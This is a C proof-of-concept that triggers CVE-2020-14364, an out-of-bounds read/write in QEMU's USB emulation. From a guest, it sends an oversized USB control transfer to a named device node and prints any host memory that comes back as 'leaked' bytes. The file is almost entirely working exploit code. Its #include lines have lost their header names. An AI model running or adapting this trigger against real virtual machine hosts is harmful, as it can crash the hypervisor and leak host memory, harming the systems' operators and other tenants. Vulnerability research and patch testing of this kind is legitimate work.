// CVE-2020-14364 QEMU USB escape (crash/DoS test) // Trigger: control transfer with wLength > 4096 -> QEMU USBDevice setup_len // exceeds data_buf[4096] in do_token_in/do_token_out -> OOB in host QEMU. // Target device: QEMU USB Tablet 0627:0001 at /dev/bus/usb/001/002 #include #include #include #include #include #include #include #include /* usbdevfs_ctrltransfer (kernel ABI) */ struct ctrl { uint8_t bRequestType; uint8_t bRequest; uint16_t wValue; uint16_t wIndex; uint16_t wLength; uint32_t timeout; void *data; }; /* USBDEVFS_CONTROL = _IOC(_IOC_NONE, 'U', 0x14, 0) */ #define USBDEVFS_CONTROL _IOC(_IOC_NONE, 'U', 0x14, 0) int main(int argc, char **argv) { int wlen = (argc > 1) ? atoi(argv[1]) : 0x5000; /* default 20480 */ char *dev = (argc > 2) ? argv[2] : "/dev/bus/usb/001/002"; int fd = open(dev, O_RDWR); if (fd < 0) { perror("open"); return 1; } static char buf[0x20000]; memset(buf, 'A', sizeof(buf)); struct ctrl c = { .bRequestType = 0x00, /* OUT */ .bRequest = 0x0b, /* SET_REPORT (HID) */ .wValue = 0x0000, /* report */ .wIndex = 0, .wLength = (uint16_t)wlen, .timeout = 5000, .data = buf, }; int r = ioctl(fd, USBDEVFS_CONTROL, &c); printf("CVE-2020-14364 trigger: dev=%s wLength=%d ioctl=%d errno=%d\n", dev, wlen, r, errno); if (r > 0) printf("leaked %d bytes: %02x %02x %02x %02x %02x %02x %02x %02x\n", r, (unsigned char)buf[0],(unsigned char)buf[1],(unsigned char)buf[2], (unsigned char)buf[3],(unsigned char)buf[4],(unsigned char)buf[5], (unsigned char)buf[6],(unsigned char)buf[7]); close(fd); return 0; }